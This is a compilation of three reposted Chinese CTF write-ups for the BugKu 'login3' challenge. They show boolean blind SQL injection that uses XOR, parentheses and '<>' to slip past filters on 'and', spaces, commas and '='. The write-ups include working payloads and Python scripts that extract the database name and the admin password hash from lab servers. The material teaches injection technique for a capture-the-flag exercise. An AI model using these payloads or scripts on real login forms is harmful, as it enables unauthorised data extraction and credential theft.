BugKu--login3(SKCTF) 布爾盲注 writeup

轉載自:https://blog.csdn.net/zpy1998zpy/article/details/80667775

Bugku的一道題目,用到了布爾盲注,還過濾了and關鍵字,這裏用到了^(按位異或運算),正好記錄下過程和方法。總體寫的有點囉嗦,但是我不想讓跟我一樣入門的小白看教程看到一臉懵逼。

題目地址:http://123.206.31.85:49167/index.php

隨便輸入了幾個用戶名,返回用戶名不存在,並沒有對密碼進行檢驗。

那我們可以猜測是先查找用戶名,如果存在,再驗證密碼。

那下一步呢,我試了試admin用戶名,結果是存在的,返回密碼錯誤

 

這就驗證了我們的猜想,那現在注入點應該就是用戶名了。

然後試試在admin後加上單引號,但是返回是用戶名不存在

 

這意味着什麼呢?這說明即使語法錯誤,也不會在頁面上顯示報錯信息,

也就不能使用報錯注入了,我們發現有兩種返回信息:

username does not exist!和password error!,那我們可以利用這兩個返回值進行布爾盲注。

畢竟我也是第一次接觸到這種布爾型盲注,也當是小白掃盲吧,怎麼利用囉嗦幾句。

我們猜測後臺的驗證應該是先查找我們輸入的用戶名是否存在,大概是:

select password,username from users where username=”我們輸入的用戶名”

如果我們在where語句的結尾加上一個and連接的布爾判斷語句,就可以根據返回值判斷where條件是否成立,比如這道題就可以嘗試補成

where username=’admin’ and (substring(database(),1,1)=’a’)

如果返回值是password error,那麼就說明where語句是成立的,那麼我們補充的那就也是成立的,那麼就可以確定數據庫的第一位是a,然後再猜測第二位。

但是這道題過濾了and!!!

嘗試加上and返回:

 

經過嘗試發現還過濾了空格,逗號,等號,for

空格用括號代替,等號用<>(一種不等號)代替

那怎麼辦呢,這就用上了今天介紹的異或運算^,先說一下基本規則:

1^1=0    1^0=1   0^0=0

就是說只有兩個不同的布爾值運算結果爲1,其他爲零

不過在這裏用的時候先不要按這個規則去推,因爲在我們用到的三個值的布爾運算的sql語句中完全相反,我還沒有搞明白,誰懂得話,給我評論下。

首先說下這裏我們要補上兩個布爾值,這個最後再說爲什麼。

先猜數據庫名,基本語句

admin’^(ascii(mid(database()from(1)))<>97)^0#


解釋一下爲什麼,爲了繞過空格過濾,用括號隔開,過濾了等號,用不等號 <>代替,只要是布爾值就可以。mid()函數和substring()一樣,一種寫法是mid(xxx,1,1),另一種是mid(xxx,from 1 for 1)但是這裏過濾了for和逗號,那麼怎麼辦呢?

這裏用到了ascii()取ascii碼值的函數,如果傳入一個字符串那麼就會取第一個字符的字符的ascii碼值,這就有了for的作用,並且mid()函數是可以只寫from的表示從第幾位往後的字符串,我們將取出的字符串在傳入ascii()中取第一位,就完成了對單個字符的提取。

每個字符的ascii碼判斷是不是不等於給定的數字,會得到一個布爾值(0或1)再與結尾的0進行運算。

如果數據庫名的第一位的ascii碼值不是97,where條件是username=’admin’^1^0

返回值是username does not exist!

如果數據庫名的第一位的ascii碼值是97,where條件是username=’admin’^0^0

返回值會是password error!

這就構成了布爾報錯注入。

有人可能疑問大部分的判斷都是無用的,就是說可能從97嘗試到120都是username does not exist!,那如何快速找到語句成立時的返回結果(password error!)。這裏就是最後^0的妙用了,

因爲’admin’^0^0和’admin’^1^1是一樣的,我們可以構造後者來看前者成立時的情況。

補充一點,因爲這裏既是語法錯誤也不會報錯,有可能你輸入的語句就不可能成立,但你也不知道,就很麻煩了,不過可以改變最後是^0還是^1,如果改不改返回值相同,那就是有語法錯誤,如果不同就可以參照上一段了。這也是爲什麼要多加一個^0,看似多此一舉,其實好處多多。

就是說admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!

數據庫名最後可以得到是:blindsql

 

下一步猜表名,表名好像沒法暴力猜,因爲關鍵詞information被禁了!!!!那數據庫名就沒用了,哈哈哈,不過後面猜字段的值是一樣的原理,不虧不虧。

沒法用系統表,就不能像上面一樣爆破了,真的是猜了,是admin表,語句如下

admin’^(select(1)from(admin))^1#   返回password error!說明猜對了

猜字段   admin’^(select(count(password))from(admin))^1#  返回password error!說明猜對了。

爲什麼要用count()呢,因爲如果有多行數據也可能會報錯,會干擾判斷。

然後猜password的值,暴力猜解,與猜數據庫類似:

admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#

得到密碼的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密後登陸,得到flag

 

最後附上腳本


 
  1. import requests

  2. str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="

  3. url="http://118.89.219.210:49167/index.php"

  4. r=requests.session()

  5.  
  6. def databasere():

  7. resutlt=""

  8. for i in range(30):

  9. fla = 0

  10. for j in str_all:

  11. playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))

  12. data = {

  13. "username": playlod,

  14. "password": "123"

  15. }

  16. s=r.post(url,data)

  17. print(playlod)

  18. if "error" in s.text:

  19. resutlt+=j

  20. print(resutlt)

  21. if fla == 0:

  22. break

  23.  
  24. def password():

  25. resutlt=""

  26. for i in range(40):

  27. fla=0

  28. for j in str_all:

  29. playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))

  30. data = {

  31. "username": playlod,

  32. "password": "123"

  33. }

  34. s=r.post(url,data)

  35. print(playlod)

  36. if "error" in s.text:

  37. resutlt+=j

  38. fla=1

  39. print('**************************',resutlt)

  40. if fla==0:

  41. break

  42. #databasere()

  43. password()

---------------------------------------------------------------------------------

轉載自:https://blog.csdn.net/qq_35078631/article/details/69488266?locationNum=9&fps=1

提示是盲注就很簡單了,構造如下

username='^(1)^1#&password=123

存在注入,猜測是盲注,然後fuzz一發發現過濾空格,用括號繞過,過濾了=,用<>饒過,mysql測試

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>102));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>102) |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>103));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>103) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)

然後直接腳本測試

#!/usr/bin/env python
import requests,string,hashlib,re
url='http://47.93.190.246:49167/'
sss=string.digits+string.lowercase
headers={
    'Host': '47.93.190.246:49167',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length':' 87',
    'Referer':' http://47.93.190.246:49167/',
    'Cookie': 'td_cookie=18446744071856012820',
    'Connection':' keep-alive',
    'Upgrade-Insecure-Requests':' 1'
}
answer=''
for i in range(1,50):
    flag=0
    for j in sss:
        postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
        data = {'username':postuser,'password':'admin'}
        html = requests.post(url,headers=headers,data=data) .text
        html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
        if 'username does not exist!' in html :
            answer+=j
            flag=1
            print answer
            break
    if flag ==0 :
        break

print 'password is ',answer

之後得出password解密得到密鑰,登陸得到flag

-----------------------------------------------------------------

轉載自:http://www.bugku.com/thread-82-1-1.html

盲注題,直接上腳本
```python
import requests
url = 'http://123.206.31.85:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
    for j in range(48,123):
        payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i,j)
        data = {"username":payload,"password":"123"}
        r = s.post(url,data=data)
        if "password error!" in r.content:
            result += chr(j)
            print result
            break
print "password: "+result
```

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章